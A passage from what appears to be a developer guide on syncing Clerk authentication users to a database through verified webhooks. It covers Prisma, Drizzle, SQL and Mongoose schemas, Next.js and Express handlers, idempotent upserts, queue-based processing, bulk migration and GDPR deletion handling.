This follows best practices established by major cloud providers. Amazon's Builders' Library documents their internal practices: "When failures are caused by overload or contention, backing off often doesn't help as much as it seems like it should... **Our solution is jitter**." The AWS Architecture Blog analysis concludes that "**the no-jitter exponential backoff approach is the clear loser**." The standard formula is: `wait_time = min(((2^n)+random_number_milliseconds), maximum_backoff)`. ([Amazon's Builders' Library, 2019](https://aws.amazon.com/builders-library/timeouts-retries-and-backoff-with-jitter/)) ([AWS Architecture Blog, 2015](https://aws.amazon.com/blogs/architecture/exponential-backoff-and-jitter/))

The three essential events for user sync are:

| Event          | Trigger                                              | Database action              |
| -------------- | ---------------------------------------------------- | ---------------------------- |
| `user.created` | New registration, Dashboard creation, or Backend API | INSERT new user record       |
| `user.updated` | Profile changes via any method                       | UPDATE existing record       |
| `user.deleted` | Account deletion or admin removal                    | DELETE or soft-delete record |

Each webhook payload includes the complete user object with all fields—`id`, `email_addresses`, `first_name`, `last_name`, `image_url`, metadata fields, timestamps, and security status flags. The payload also includes `svix-id`, `svix-timestamp`, and `svix-signature` headers for verification.

Unlike the Backend API, **webhooks have no rate limits**, making them ideal for high-volume applications where syncing every user change matters.

## Database schema design for Clerk users

The recommended approach stores only the user data you actually need while maintaining a clear link to Clerk via the `clerkId` field. Here's a production-ready Prisma schema for PostgreSQL:

```prisma {{ filename: 'prisma/schema.prisma' }}
generator client {
  provider = "prisma-client-js"
}

datasource db {
  provider = "postgresql"
  url      = env("DATABASE_URL")
}

model User {
  id        Int      @id @default(autoincrement())
  clerkId   String   @unique  // Clerk user ID (e.g., "user_2NNEqL2nrIRdJ194ndJqAHwEfxC")
  email     String   @unique
  firstName String?
  lastName  String?
  imageUrl  String?
  createdAt DateTime @default(now())
  updatedAt DateTime @updatedAt

  // Application-specific relations
  posts     Post[]
  comments  Comment[]

  @@index([clerkId])  // Critical for webhook lookups
  @@index([email])
}

model Post {
  id        Int      @id @default(autoincrement())
  title     String
  content   String?
  authorId  Int
  author    User     @relation(fields: [authorId], references: [id])
  createdAt DateTime @default(now())

  @@index([authorId])
}
```

The **unique constraint on clerkId** serves dual purposes: it enforces data integrity and creates an index for fast lookups
during webhook processing. Always index this column—every webhook handler query will use it ([Prisma Docs, 2024](https://www.prisma.io/docs/guides/clerk-nextjs)).

**Database indexing is critical for webhook performance.** PostgreSQL's [official constraints documentation](https://postgresql.org/docs/current/ddl-constraints.html) states: "Since a DELETE or UPDATE of a referenced column will require a scan of the referencing table... **it is often a good idea to index the referencing columns too**." For foreign key relationships, PostgreSQL does not automatically create indexes on referencing columns, making explicit indexing essential for performance.

For teams using **Drizzle ORM**, the equivalent schema provides the same structure with TypeScript-first ergonomics:

```ts {{ filename: 'db/schema.ts' }}
import {
  pgTable,
  serial,
  text,
  varchar,
  timestamp,
  integer,
  uniqueIndex,
  index,
} from 'drizzle-orm/pg-core'

export const users = pgTable(
  'users',
  {
    id: serial('id').primaryKey(),
    clerkId: varchar('clerk_id', { length: 255 }).notNull().unique(),
    email: varchar('email', { length: 255 }).notNull().unique(),
    firstName: text('first_name'),
    lastName: text('last_name'),
    imageUrl: text('image_url'),
    createdAt: timestamp('created_at').defaultNow().notNull(),
    updatedAt: timestamp('updated_at').defaultNow().notNull(),
  },
  (table) => [uniqueIndex('clerk_id_idx').on(table.clerkId), index('email_idx').on(table.email)],
)
```

**For flexible user metadata**, PostgreSQL's JSONB type works well when you need to store varying attributes without schema migrations:

```sql {{ filename: 'migrations/add_preferences.sql' }}
ALTER TABLE users ADD COLUMN preferences JSONB DEFAULT '{}';
CREATE INDEX idx_users_preferences ON users USING GIN (preferences);
```

PostgreSQL's [official JSONB documentation](https://postgresql.org/docs/current/datatype-json.html) clarifies the tradeoff: JSONB is "**slightly slower to input** due to added conversion overhead, but **significantly faster to process**, since no reparsing is needed. JSONB also supports indexing." The `jsonb_path_ops` GIN index operator class is specifically noted as "usually much smaller than a jsonb\_ops index over the same data."

However, prefer normalized columns for frequently queried fields—JSONB carries approximately **2x storage overhead** and provides less efficient query planning than typed columns.

## Building the webhook handler in Next.js

Use Clerk's built-in [`verifyWebhook()`](/docs/reference/backend/verify-webhook) function to handle signature verification automatically. This is the recommended approach—it reads the `CLERK_WEBHOOK_SIGNING_SECRET` environment variable and validates the incoming request in a single function call:

```ts {{ filename: 'app/api/webhooks/clerk/route.ts' }}
import { verifyWebhook } from '@clerk/nextjs/webhooks'
import { NextRequest } from 'next/server'
import prisma from '@/lib/prisma'

export async function POST(req: NextRequest) {
  try {
    const evt = await verifyWebhook(req)

    if (evt.type === 'user.created') {
      const { id, email_addresses, first_name, last_name, image_url } = evt.data
      await prisma.user.upsert({
        where: { clerkId: id },
        update: {}, // No update on create - handles duplicate webhooks
        create: {
          clerkId: id,
          email: email_addresses[0]?.email_address ?? '',
          firstName: first_name,
          lastName: last_name,
          imageUrl: image_url,
        },
      })
    }

    if (evt.type === 'user.updated') {
      const { id, email_addresses, first_name, last_name, image_url } = evt.data
      await prisma.user.upsert({
        where: { clerkId: id },
        update: {
          email: email_addresses[0]?.email_address ?? '',
          firstName: first_name,
          lastName: last_name,
          imageUrl: image_url,
        },
        create: {
          clerkId: id,
          email: email_addresses[0]?.email_address ?? '',
          firstName: first_name,
          lastName: last_name,
          imageUrl: image_url,
        },
      })
    }

    if (evt.type === 'user.deleted') {
      const { id } = evt.data
      if (id) {
        await prisma.user
          .delete({
            where: { clerkId: id },
          })
          .catch(() => {}) // Ignore if already deleted
      }
    }

    return new Response('Webhook processed', { status: 200 })
  } catch (err) {
    console.error('Webhook verification failed:', err)
    return new Response('Invalid webhook', { status: 400 })
  }
}
```

Notice the use of **upsert** instead of separate create/update operations. This pattern handles duplicate webhook deliveries gracefully—Svix uses **at-least-once delivery**, meaning you will occasionally receive the same event multiple times ([Svix Docs, 2024](https://docs.svix.com/retries)).

This aligns with distributed systems fundamentals. As explained in the influential technical analysis at Brave New Geek: "**There is no such thing as exactly-once delivery**. We must choose between the lesser of two evils, which is at-least-once delivery in most cases. This can be used to simulate exactly-once semantics by ensuring idempotency." ([Brave New Geek, 2016](https://bravenewgeek.com/you-cannot-have-exactly-once-delivery/))

PostgreSQL's [INSERT documentation](https://postgresql.org/docs/current/sql-insert.html) guarantees atomicity: "**ON CONFLICT DO UPDATE guarantees an atomic INSERT or UPDATE outcome**; provided there is no independent error, one of those two outcomes is guaranteed, even under high concurrency."

The `verifyWebhook()` function automatically:

- Reads the raw request body (required for signature verification)
- Extracts `svix-id`, `svix-timestamp`, and `svix-signature` headers
- Validates the signature using your `CLERK_WEBHOOK_SIGNING_SECRET`
- Returns a typed `WebhookEvent` object for type-safe payload access

## Node.js and Express implementation

For Express applications, use Clerk's `verifyWebhook()` helper with the raw body requirement satisfied by `express.raw()`:

```ts {{ filename: 'server.ts' }}
import { verifyWebhook } from '@clerk/backend/webhooks'
import express, { Request, Response } from 'express'
import { WebhookEvent } from '@clerk/backend'

const app = express()

// Use raw body parser ONLY for webhook route
app.post(
  '/api/webhooks/clerk',
  express.raw({ type: 'application/json' }),
  async (req: Request, res: Response) => {
    try {
      const evt: WebhookEvent = verifyWebhook(req)

      const { id, ...userData } = evt.data
      const eventType = evt.type

      switch (eventType) {
        case 'user.created':
          await db.users.upsert({
            where: { clerkId: id },
            update: {},
            create: { clerkId: id, ...userData },
          })
          break
        case 'user.updated':
          await db.users.update({
            where: { clerkId: id },
            data: userData,
          })
          break
        case 'user.deleted':
          await db.users.delete({ where: { clerkId: id } })
          break
      }

      res.json({ success: true })
    } catch (err: any) {
      console.error('Webhook verification failed:', err.message)
      return res.status(400).json({ error: 'Invalid signature' })
    }
  },
)

// Apply JSON parsing to other routes AFTER webhook
app.use(express.json())
```

A common mistake is applying `express.json()` globally before defining the webhook route, which parses the body and breaks verification. Always configure the raw body parser specifically for your webhook endpoint.

This follows Express.js best practices. The official middleware guide emphasizes: **Order of [middleware](/glossary#middleware) loading is critical**—executed in order they're added. The body-parser documentation specifies that `bodyParser.raw({ type: 'application/json' })` returns `req.body` as Buffer, which is essential for HMAC computation. ([Express.js middleware guide, 2024](https://expressjs.com/en/guide/using-middleware.html)) ([body-parser documentation, 2024](https://expressjs.com/en/resources/middleware/body-parser.html))

## Webhook security and verification essentials

Svix constructs signatures using **HMAC-SHA256** over the concatenation of the `svix-id`, timestamp, and body. The signature header may contain multiple signatures (for key rotation), any of which validates the payload.

**Key security considerations:**

- Use Clerk's [`verifyWebhook()`](/docs/reference/backend/verify-webhook) helper for automatic signature verification
- **Treat the signing secret like a password**—anyone with access can forge valid webhooks
- Return appropriate status codes: 400 for invalid signatures, 200 for success
- Ensure your server clock is synchronized via NTP for timestamp validation

When verification fails, Svix retries with exponential backoff over an extended period, providing a substantial window for recovery before marking delivery as failed.

**Webhook security vulnerabilities are well-documented.** GitHub's webhook security documentation emphasizes using webhook secrets to ensure incoming payloads are authentic and haven't been tampered with. As noted in Snyk's webhook security guide, failing to implement proper webhook authentication allows attackers to trigger automations at will by sending malicious payloads to unprotected endpoints. ([GitHub's webhook security documentation, 2024](https://docs.github.com/webhooks/using-webhooks/best-practices-for-using-webhooks)) ([Snyk's webhook security guide, 2023](https://snyk.io/blog/creating-secure-webhooks/))

## Handling failures and ensuring idempotency

Because webhooks can be delivered multiple times and may arrive out of order, your webhook endpoints must be **idempotent**—processing the same event twice should produce the same result as processing it once.

This requirement stems from the distributed nature of webhook delivery. Martin Fowler's microservices article addresses the practical implications: "Distributed transactions are notoriously difficult to implement and as a consequence microservice architectures emphasize transactionless coordination between services, with explicit recognition that **consistency may only be eventual consistency** and problems are dealt with by compensating operations." ([Martin Fowler's microservices article, 2014](https://martinfowler.com/articles/microservices.html))

**Strategy 1: Database upserts** (recommended for most cases)

The upsert pattern shown earlier handles duplicates naturally. When `user.created` arrives twice, the second execution finds the existing record and performs no update.

**Strategy 2: Webhook ID tracking** (for complex processing)

Track processed webhook IDs in a dedicated table to prevent reprocessing. First, add this model to your Prisma schema:

```prisma {{ filename: 'prisma/schema.prisma' }}
model ProcessedWebhook {
  id          String   @id  // svix-id
  processedAt DateTime @default(now())
  @@map("processed_webhooks")
}
```

This table stores the unique `svix-id` of each processed webhook, allowing your handler to skip duplicate deliveries. Here's the implementation:

```ts {{ filename: 'app/api/webhooks/clerk/route.ts' }}
import { verifyWebhook } from '@clerk/nextjs/webhooks'
import { NextRequest } from 'next/server'
import { prisma } from '@/lib/prisma'

export async function POST(req: NextRequest) {
  try {
    // Verify and process the webhook
    const evt = await verifyWebhook(req)

    const webhookId = req.headers.get('svix-id')

    if (!webhookId) {
      return new Response('Missing svix-id header', { status: 400 })
    }

    // Check if we've already processed this webhook
    const existing = await prisma.processedWebhook.findUnique({
      where: { id: webhookId },
    })

    if (existing) {
      return new Response('Already processed', { status: 200 })
    }

    // Process different event types
    if (evt.type === 'user.created') {
      const { id, email_addresses, first_name, last_name, image_url } = evt.data
      await prisma.user.create({
        data: {
          clerkId: id,
          email: email_addresses[0]?.email_address ?? '',
          firstName: first_name,
          lastName: last_name,
          imageUrl: image_url,
        },
      })
    }

    if (evt.type === 'user.updated') {
      const { id, email_addresses, first_name, last_name, image_url } = evt.data
      await prisma.user.update({
        where: { clerkId: id },
        data: {
          email: email_addresses[0]?.email_address ?? '',
          firstName: first_name,
          lastName: last_name,
          imageUrl: image_url,
        },
      })
    }

    if (evt.type === 'user.deleted') {
      const { id } = evt.data
      if (id) {
        await prisma.user
          .delete({
            where: { clerkId: id },
          })
          .catch(() => {}) // Ignore if already deleted
      }
    }

    // Mark webhook as processed
    await prisma.processedWebhook.create({
      data: { id: webhookId, processedAt: new Date() },
    })

    return new Response('Webhook processed', { status: 200 })
  } catch (err) {
    console.error('Webhook processing failed:', err)
    return new Response('Invalid webhook', { status: 400 })
  }
}
```

**Strategy 3: Queue-based processing** (for high reliability)

For production systems with complex webhook processing, acknowledge receipt immediately and process asynchronously:

```ts {{ filename: 'app/api/webhooks/clerk/route.ts' }}
import { verifyWebhook } from '@clerk/nextjs/webhooks'
import { NextRequest } from 'next/server'
import { webhookQueue } from '@/lib/queue'

export async function POST(req: NextRequest) {
  try {
    // Verify webhook signature
    const evt = await verifyWebhook(req)
    const svixId = req.headers.get('svix-id')

    if (!svixId) {
      return new Response('Missing svix-id header', { status: 400 })
    }

    // Acknowledge immediately by queuing for async processing
    await webhookQueue.add(
      'clerk-event',
      {
        eventType: evt.type,
        data: evt.data,
        svixId: svixId,
        timestamp: new Date().toISOString(),
      },
      {
        // Queue options
        attempts: 3,
        backoff: {
          type: 'exponential',
          delay: 2000,
        },
        removeOnComplete: 100, // Keep last 100 completed jobs
        removeOnFail: 50, // Keep last 50 failed jobs
      },
    )

    return new Response('Queued', { status: 200 })
  } catch (err) {
    console.error('Webhook verification failed:', err)
    return new Response('Invalid webhook', { status: 400 })
  }
}
```

The webhook handler above acknowledges receipt immediately by adding jobs to a Redis-backed queue. Now you need to implement the queue processing logic that will handle the actual database operations asynchronously:

```ts {{ filename: 'lib/queue.ts' }}
import Queue from 'bull'
import { prisma } from '@/lib/prisma'

// Initialize Redis-backed queue
export const webhookQueue = new Queue('webhook processing', {
  redis: {
    host: process.env.REDIS_HOST || 'localhost',
    port: parseInt(process.env.REDIS_PORT || '6379'),
    password: process.env.REDIS_PASSWORD,
  },
})

// Define job processor
webhookQueue.process('clerk-event', async (job) => {
  const { eventType, data, svixId } = job.data

  try {
    // Check for duplicate processing
    const existing = await prisma.processedWebhook.findUnique({
      where: { id: svixId },
    })

    if (existing) {
      console.log(`Webhook ${svixId} already processed, skipping`)
      return { status: 'duplicate', svixId }
    }

    // Process the webhook based on event type
    switch (eventType) {
      case 'user.created':
        await prisma.user.create({
          data: {
            clerkId: data.id,
            email: data.email_addresses[0]?.email_address ?? '',
            firstName: data.first_name,
            lastName: data.last_name,
            imageUrl: data.image_url,
          },
        })
        break

      case 'user.updated':
        await prisma.user.update({
          where: { clerkId: data.id },
          data: {
            email: data.email_addresses[0]?.email_address ?? '',
            firstName: data.first_name,
            lastName: data.last_name,
            imageUrl: data.image_url,
          },
        })
        break

      case 'user.deleted':
        await prisma.user
          .delete({
            where: { clerkId: data.id },
          })
          .catch(() => {}) // Ignore if already deleted
        break

      default:
        console.log(`Unhandled event type: ${eventType}`)
        return { status: 'unhandled', eventType }
    }

    // Mark as processed
    await prisma.processedWebhook.create({
      data: { id: svixId, processedAt: new Date() },
    })

    console.log(`Successfully processed webhook ${svixId} (${eventType})`)
    return { status: 'success', eventType, svixId }
  } catch (error) {
    console.error(`Failed to process webhook ${svixId}:`, error)
    throw error // This will trigger Bull's retry mechanism
  }
})

// Optional: Add job event listeners for monitoring
webhookQueue.on('completed', (job, result) => {
  console.log(`Job ${job.id} completed:`, result)
})

webhookQueue.on('failed', (job, err) => {
  console.error(`Job ${job.id} failed:`, err.message)
})
```

The queue setup handles job creation and processing logic, but you need a separate worker process to actually consume jobs from the queue. This separation allows you to scale webhook processing independently from your web server—you can run multiple worker instances to handle high volumes, restart workers without affecting webhook receipt, and deploy processing logic updates without downtime.

```ts {{ filename: 'scripts/worker.ts' }}
import { webhookQueue } from '@/lib/queue'

console.log('Webhook worker started, waiting for jobs...')

// Graceful shutdown
process.on('SIGTERM', async () => {
  console.log('Received SIGTERM, closing queue...')
  await webhookQueue.close()
  process.exit(0)
})

process.on('SIGINT', async () => {
  console.log('Received SIGINT, closing queue...')
  await webhookQueue.close()
  process.exit(0)
})
```

This pattern ensures you respond within Svix's 15-second timeout while handling database errors, external API calls, or other slow operations without triggering unnecessary retries.

### Event-driven architecture patterns for webhooks

Martin Fowler's analysis distinguishes four event-driven patterns often conflated: Event Notification, Event-Carried State Transfer, Event Sourcing, and CQRS. For webhook synchronization, **Event-Carried State Transfer** applies: "This pattern shows up when you want to update clients of a system in such a way that **they don't need to contact the source system** in order to do further work." ([Martin Fowler's analysis, 2017](https://martinfowler.com/articles/201701-event-driven.html))

Clerk's webhook payloads exemplify this pattern—each webhook contains the complete user object, eliminating the need for additional API calls during processing. This reduces coupling between systems and improves resilience to temporary API outages.

**Queue-based processing with BullMQ** provides production-ready webhook handling. BullMQ documentation describes "exactly-once queue semantics (at-least-once in worst case)" with automatic retry of failed jobs, priorities, delayed jobs, and concurrency settings per worker. For worker connections, set `maxRetriesPerRequest: null` to guarantee continuous processing. ([BullMQ documentation, 2024](https://docs.bullmq.io))

The separation between webhook receipt and processing follows the AWS Well-Architected principle of loose coupling: "Event-driven architectures use events to trigger and communicate between decoupled services and are common in modern applications built with microservices." ([AWS Well-Architected, 2024](https://docs.aws.amazon.com/wellarchitected/latest/serverless-applications-lens/event-driven-architectures.html))

## Initial data migration with the Backend API

For applications with existing Clerk users, webhooks only capture future changes. Use the Backend API's [`getUserList()`](/docs/reference/backend/user/get-user-list) method to perform an initial sync:

```ts {{ filename: 'scripts/migrate-users.ts' }}
import { clerkClient } from '@clerk/nextjs/server'

async function migrateExistingUsers() {
  const client = await clerkClient()
  let offset = 0
  const limit = 100 // Max 500 per request

  while (true) {
    const { data: users, totalCount } = await client.users.getUserList({
      limit,
      offset,
      orderBy: 'created_at',
    })

    if (users.length === 0) break

    for (const user of users) {
      await prisma.user.upsert({
        where: { clerkId: user.id },
        update: {
          email: user.emailAddresses[0]?.emailAddress ?? '',
          firstName: user.firstName,
          lastName: user.lastName,
          imageUrl: user.imageUrl,
        },
        create: {
          clerkId: user.id,
          email: user.emailAddresses[0]?.emailAddress ?? '',
          firstName: user.firstName,
          lastName: user.lastName,
          imageUrl: user.imageUrl,
        },
      })
    }

    offset += limit
    console.log(`Migrated ${offset} of ${totalCount} users`)

    // Respect rate limits: 1000 req/10s production, 100 req/10s development
    await new Promise((resolve) => setTimeout(resolve, 100))
  }
}
```

For even better performance with PostgreSQL databases, you can leverage Prisma's `createMany` operation to insert multiple records in a single database transaction. This approach reduces the number of database round trips and can significantly speed up large migrations:

```ts {{ filename: 'scripts/batch-migrate-users.ts' }}
// Alternative: Prisma batch operations for better performance
async function batchMigrateUsers() {
  const client = await clerkClient()
  let offset = 0
  const limit = 100

  while (true) {
    const { data: users } = await client.users.getUserList({
      limit,
      offset,
      orderBy: 'created_at',
    })

    if (users.length === 0) break

    // Use Prisma's createMany for batch inserts (PostgreSQL only)
    await prisma.user.createMany({
      data: users.map((user) => ({
        clerkId: user.id,
        email: user.emailAddresses[0]?.emailAddress ?? '',
        firstName: user.firstName,
        lastName: user.lastName,
        imageUrl: user.imageUrl,
      })),
      skipDuplicates: true, // Ignore conflicts on unique constraints
    })

    offset += limit
    await new Promise((resolve) => setTimeout(resolve, 100))
  }
}
```

The Backend API supports filtering by email, phone, user ID (up to 100 values), and free-text search via the `query` parameter. For production environments, you have **1,000 requests per 10 seconds**; development instances are limited to 100 requests per 10 seconds.

**Connection pooling becomes critical during bulk migrations.** PostgreSQL's connection documentation provides the foundational formula: active connections should be near **(core\_count × 2) + effective\_spindle\_count**. PgBouncer's configuration reference documents pool modes and key settings like `max_client_conn` (default 100) and `default_pool_size` (default 20). ([PostgreSQL connection documentation, 2024](https://wiki.postgresql.org/wiki/Number_Of_Database_Connections)) ([PgBouncer's configuration reference, 2024](https://pgbouncer.org/config.html))

**Prisma upsert operations can encounter race conditions during concurrent access.** The Prisma CRUD documentation covers upsert behavior, and race conditions may throw P2002 errors on concurrent upserts. The transactions documentation covers four transaction patterns, with interactive transactions (`$transaction(async (tx) => {...})`) supporting custom logic including explicit rollback and isolation levels. ([Prisma CRUD documentation, 2024](https://prisma.io/docs/orm/prisma-client/queries/crud)) ([Prisma transactions documentation, 2024](https://prisma.io/docs/orm/prisma-client/queries/transactions))

### Combining auth migration strategies

When migrating from existing authentication systems to Clerk, Auth0's migration documentation defines two proven strategies:

**Automatic (lazy) migration** where users migrate transparently during sign-in without password resets—"Over the course of a few weeks or months, a majority of users will have been automatically migrated without noticing anything has changed"—and **bulk migration** for urgent scenarios via Management API import with optional password hash preservation.

For Clerk migrations, the webhook-based sync approach supports both patterns: configure webhooks before migration to capture new users automatically, then use the Backend API for bulk historical data import. ([Auth0's migration documentation, 2023](https://auth0.com/blog/technical-strategies-for-migrating-users-to-auth0/))

## Use cases that justify database sync

### Analytics and reporting dashboards

When building dashboards that aggregate user data—signups over time, geographic distribution, engagement metrics—querying your own database is dramatically more efficient than calling Clerk's API repeatedly:

```ts {{ filename: 'lib/analytics.ts' }}
// Get signup trends by week
const signupsByWeek = await prisma.$queryRaw`
  SELECT
    DATE_TRUNC('week', created_at) as week,
    COUNT(*) as signups
  FROM users
  GROUP BY DATE_TRUNC('week', created_at)
  ORDER BY week DESC
  LIMIT 12
`
```

### Custom user profiles

Clerk's metadata fields are typically sufficient for most applications, but if you need additional user attributes—bio, company, preferences, subscription tier—store them alongside the synced Clerk data:

```prisma {{ filename: 'prisma/schema.prisma' }}
model User {
  id        Int      @id @default(autoincrement())
  clerkId   String   @unique
  email     String   @unique
  // Clerk-synced fields
  firstName String?
  lastName  String?
  imageUrl  String?
  // Application-specific fields
  bio       String?
  company   String?
  role      Role     @default(USER)
  tier      Tier     @default(FREE)
}

enum Role { USER ADMIN MODERATOR }
enum Tier { FREE PRO ENTERPRISE }
```

> \[!NOTE]
> If your application requires complex [role-based access control](/glossary#role-based-access-control-rbac) or subscription tiers, consider using [Clerk Organizations](/docs/guides/organizations/overview) for roles and permissions, and [Clerk Billing](/docs/guides/billing/overview) for subscription management. These built-in features handle the complexity of [multi-tenant](/glossary/multi-tenancy) access control and recurring billing, saving you from building and maintaining these systems yourself.

### Compliance and audit logging

Regulated industries often require immutable [audit trails](/glossary#event-audit-trail) of user data changes. Capture each webhook event:

```ts {{ filename: 'app/api/webhooks/clerk/route.ts' }}
import { NextRequest } from 'next/server'
import { verifyWebhook, WebhookEvent } from '@clerk/nextjs/webhooks'
import { prisma } from '@/lib/prisma'

export async function POST(req: NextRequest) {
  let evt: WebhookEvent

  try {
    evt = await verifyWebhook(req)
  } catch (err) {
    console.error('Error verifying webhook:', err)
    return new Response('Error occurred', { status: 400 })
  }

  // Handle audit logging for user updates
  if (evt.type === 'user.updated') {
    await prisma.$transaction([
      prisma.user.update({
        where: { clerkId: evt.data.id },
        data: {
          email: evt.data.email_addresses[0]?.email_address,
          firstName: evt.data.first_name,
          lastName: evt.data.last_name,
          imageUrl: evt.data.image_url,
          updatedAt: new Date(evt.data.updated_at),
        },
      }),
      prisma.auditLog.create({
        data: {
          userId: evt.data.id,
          action: 'USER_UPDATED',
          payload: JSON.stringify(evt.data),
          timestamp: new Date(),
          ipAddress: req.headers.get('x-forwarded-for') || 'unknown',
          userAgent: req.headers.get('user-agent') || 'unknown',
        },
      }),
    ])
  }

  return new Response('', { status: 200 })
}
```

### CRM and third-party integrations

When integrating with external systems that need user data—email marketing platforms, support tools, analytics services—syncing to your database provides a single integration point:

```ts {{ filename: 'app/api/webhooks/clerk/route.ts' }}
import { NextRequest } from 'next/server'
import { verifyWebhook, WebhookEvent } from '@clerk/nextjs/webhooks'
import { prisma } from '@/lib/prisma'
import { emailService } from '@/lib/email'
import { analytics } from '@/lib/analytics'

export async function POST(req: NextRequest) {
  let evt: WebhookEvent

  try {
    evt = await verifyWebhook(req)
  } catch (err) {
    console.error('Error verifying webhook:', err)
    return new Response('Error occurred', { status: 400 })
  }

  // Handle user creation and downstream integrations
  if (evt.type === 'user.created') {
    await prisma.user.create({
      data: {
        clerkId: evt.data.id,
        email: evt.data.email_addresses[0]?.email_address,
        firstName: evt.data.first_name,
        lastName: evt.data.last_name,
        imageUrl: evt.data.image_url,
        createdAt: new Date(evt.data.created_at),
        updatedAt: new Date(evt.data.updated_at),
      },
    })

    // Trigger downstream integrations
    await emailService.addContact({
      email: evt.data.email_addresses[0]?.email_address,
      firstName: evt.data.first_name,
      lastName: evt.data.last_name,
      tags: ['new-user'],
    })

    await analytics.identify(evt.data.id, {
      email: evt.data.email_addresses[0]?.email_address,
      createdAt: evt.data.created_at,
      source: 'clerk_webhook',
    })
  }

  return new Response('', { status: 200 })
}
```

## Privacy and GDPR considerations

Apply [data minimization](/glossary#data-protection) principles when deciding what to sync, keeping [GDPR](/glossary#data-privacy) requirements in mind. The more user data you store locally, the greater your compliance burden.

**Typically safe to sync:**

- `id` (required for linking)
- `email_addresses` (if needed for application features)
- `first_name`, `last_name` (for display purposes)
- `image_url` (for avatars)

**Consider not syncing:**

- `phone_numbers` (unless essential)
- `external_accounts` (OAuth provider details)
- `private_metadata` (admin-only data)
- `last_sign_in_at` (often unnecessary)

For GDPR's right to erasure, handle `user.deleted` events properly. ([GDPR Article 17, 2018](https://gdpr-info.eu/art-17-gdpr/)) **Right to Erasure** mandates: "The controller shall have the obligation to erase personal data without undue delay." GDPR Article 17(2) extends this to downstream processors: controllers must "take reasonable steps, including technical measures, to inform controllers which are processing the personal data that the data subject has requested the erasure."

([GDPR Article 5(1)(c), 2018](https://gdpr-info.eu/art-5-gdpr/)) defines data minimization: "Personal data shall be... **adequate, relevant and limited to what is necessary** in relation to the purposes for which they are processed." The ([UK ICO's practical guidance, 2024](https://ico.org.uk/for-organisations/uk-gdpr-guidance-and-resources/individual-rights/individual-rights/right-to-erasure/)) addresses backup systems: "The key issue is to **put the backup data 'beyond use'**." Response time requirement: **one calendar month** from request receipt.

```ts {{ filename: 'app/api/webhooks/clerk/route.ts' }}
import { NextRequest } from 'next/server'
import { verifyWebhook, WebhookEvent } from '@clerk/nextjs/webhooks'
import { prisma } from '@/lib/prisma'
import { auditLogger } from '@/lib/audit'

export async function POST(req: NextRequest) {
  let evt: WebhookEvent

  try {
    evt = await verifyWebhook(req)
  } catch (err) {
    console.error('Error verifying webhook:', err)
    return new Response('Error occurred', { status: 400 })
  }

  // Handle user deletion with GDPR compliance options
  if (evt.type === 'user.deleted') {
    const userId = evt.data.id

    try {
      // Check if user has critical business data
      const userRelations = await prisma.user.findUnique({
        where: { clerkId: userId },
        include: {
          orders: { select: { id: true } },
          posts: { select: { id: true } },
          comments: { select: { id: true } },
        },
      })

      if (!userRelations?.orders.length && !userRelations?.posts.length) {
        // Option 1: Hard delete (safe when no business data exists)
        await prisma.user.delete({ where: { clerkId: userId } })
        await auditLogger.log('USER_HARD_DELETED', { userId })
      } else {
        // Option 2: Anonymize (preserves referential integrity)
        await prisma.user.update({
          where: { clerkId: userId },
          data: {
            email: `deleted-${userId}@anonymized.local`,
            firstName: 'Deleted',
            lastName: 'User',
            imageUrl: null,
            phoneNumber: null,
            deletedAt: new Date(),
          },
        })
        await auditLogger.log('USER_ANONYMIZED', { userId, reason: 'has_business_data' })
      }
    } catch (error) {
      console.error('Error handling user deletion:', error)
      return new Response('Error processing deletion', { status: 500 })
    }
  }

  return new Response('', { status: 200 })
}
```

Clerk provides compliance documentation and a [Data Processing Agreement](/legal/dpa) for GDPR compliance, including [data retention](/glossary#data-retention) policies.

## MySQL and MongoDB alternatives

For MySQL databases, the schema structure remains similar with syntax adjustments:

```sql {{ filename: 'schema.sql' }}
CREATE TABLE users (
  id INT AUTO_INCREMENT PRIMARY KEY,
  clerk_id VARCHAR(255) NOT NULL UNIQUE,
  email VARCHAR(255) NOT NULL UNIQUE,
  first_name VARCHAR(255),
  last_name VARCHAR(255),
  image_url TEXT,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,

  INDEX idx_clerk_id (clerk_id),
  INDEX idx_email (email)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
```

MongoDB's document model offers natural flexibility for user profiles:

```ts {{ filename: 'models/User.ts' }}
const userSchema = new mongoose.Schema(
  {
    clerkId: { type: String, required: true, unique: true, index: true },
    email: { type: String, required: true, unique: true },
    profile: {
      firstName: String,
      lastName: String,
      imageUrl: String,
    },
    metadata: mongoose.Schema.Types.Mixed, // Flexible additional data
  },
  { timestamps: true },
)
```

MongoDB excels when user profiles have highly variable structures, though PostgreSQL with JSONB columns provides similar flexibility with stronger querying capabilities.

### Soft delete considerations

While the examples above show hard deletion, some applications require soft deletes for audit trails or data recovery. However, soft deletes carry significant tradeoffs. The technical analysis argues against soft deletes: "The main problem with soft deletion is that you're systematically misleading the database... foreign keys are effectively lost." ([brandur.org, 2024](https://brandur.org/soft-deletion))

Domain-Driven Design authority frames deletion as a domain concept requiring explicit modeling rather than database-level implementation: "Don't delete—just don't." For implementations requiring soft deletes, PostgreSQL's partial unique indexes can exclude deleted records from index overhead: ([Udi Dahan, 2009](https://udidahan.com/2009/09/01/dont-delete-just-dont/))

```sql {{ filename: 'migrations/add_partial_index.sql' }}
CREATE UNIQUE INDEX users_email_active_idx
ON users (email)
WHERE deleted_at IS NULL;
```

## Common pitfalls and solutions

**Webhook verification fails in Express**: The `express.json()` middleware parses the body before your handler, breaking signature verification. Use `express.raw()` specifically for the webhook route.

**308 redirect errors in production**: Vercel and similar platforms may redirect between www and non-www domains, causing webhook failures. Configure your endpoint URL in Clerk Dashboard to match your canonical domain exactly.

**Race condition on user creation**: Users may access your application before the `user.created` webhook arrives and creates their database record. Solve this with the upsert pattern in both webhooks and your initial page load, or implement a loading state that waits for the record.

**Payload parsing errors with Svix**: If you see "Expected payload to be of type string or Buffer," your framework has pre-parsed the body. Ensure raw body access or use `JSON.stringify()` if reconstruction is necessary.

## Monitoring and observability

Webhook handlers are critical infrastructure—when they fail silently, your database drifts out of sync with Clerk, leading to bugs that are difficult to diagnose. Implementing proper monitoring ensures you catch issues before they impact users.

**Why monitoring matters:**

- **Silent failures compound over time**: A single failed webhook might not cause obvious problems, but hundreds of failed `user.updated` events mean your application shows stale user data everywhere
- **Debugging is difficult after the fact**: Without logs, you won't know why a user's profile didn't update or why a deleted user still appears in your app
